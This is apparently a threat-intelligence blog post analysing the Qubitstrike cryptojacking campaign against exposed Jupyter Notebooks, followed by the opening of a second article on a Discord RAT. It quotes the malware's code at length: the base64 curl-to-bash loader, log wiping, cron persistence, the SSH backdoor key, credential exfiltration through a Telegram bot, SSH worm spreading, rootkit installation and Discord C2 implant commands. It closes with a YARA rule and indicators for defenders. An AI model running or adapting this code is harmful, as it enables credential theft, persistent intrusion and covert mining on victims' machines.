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October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
qubitstrikeDefault blog image
18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash 

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code> 

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi 

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }  

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
} 

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
} 

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
} 

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
} 

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config 

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds } 

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
} 

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
} 

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
} 

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii') 

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code> 

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return 

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}')) 

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet } 

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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October 14, 2026

CikaBika Bot: Inside a Discord RAT

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Key Takeaways

·      Darktrace malware researchers have found an ongoing malware campaign using a document-themed lure containing a malicious LNK file and a PDF with an embedded payload.

·      The Nim based loader deploys a Rust-based remote access trojan (RAT), using a UAC bypass and DLL search-order hijacking technique targeting Microsoft Edge.

·      The RAT uses Discord for C2, creating dedicated channels to manage infected devices and execute commands.

·      CikaBika Bot supports system reconnaissance, remote command execution, screenshot capture, and file transfers.

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Introduction

In a threat landscape where attackers continue to rely on social engineering techniques to deliver malware, legitimate services are increasingly being abused to support malicious operations. Communications platforms like Discord can provide attackers with a ready-made channel for command-and-control (C2), allowing them to manage compromised devices without establishing dedicated infrastructure.

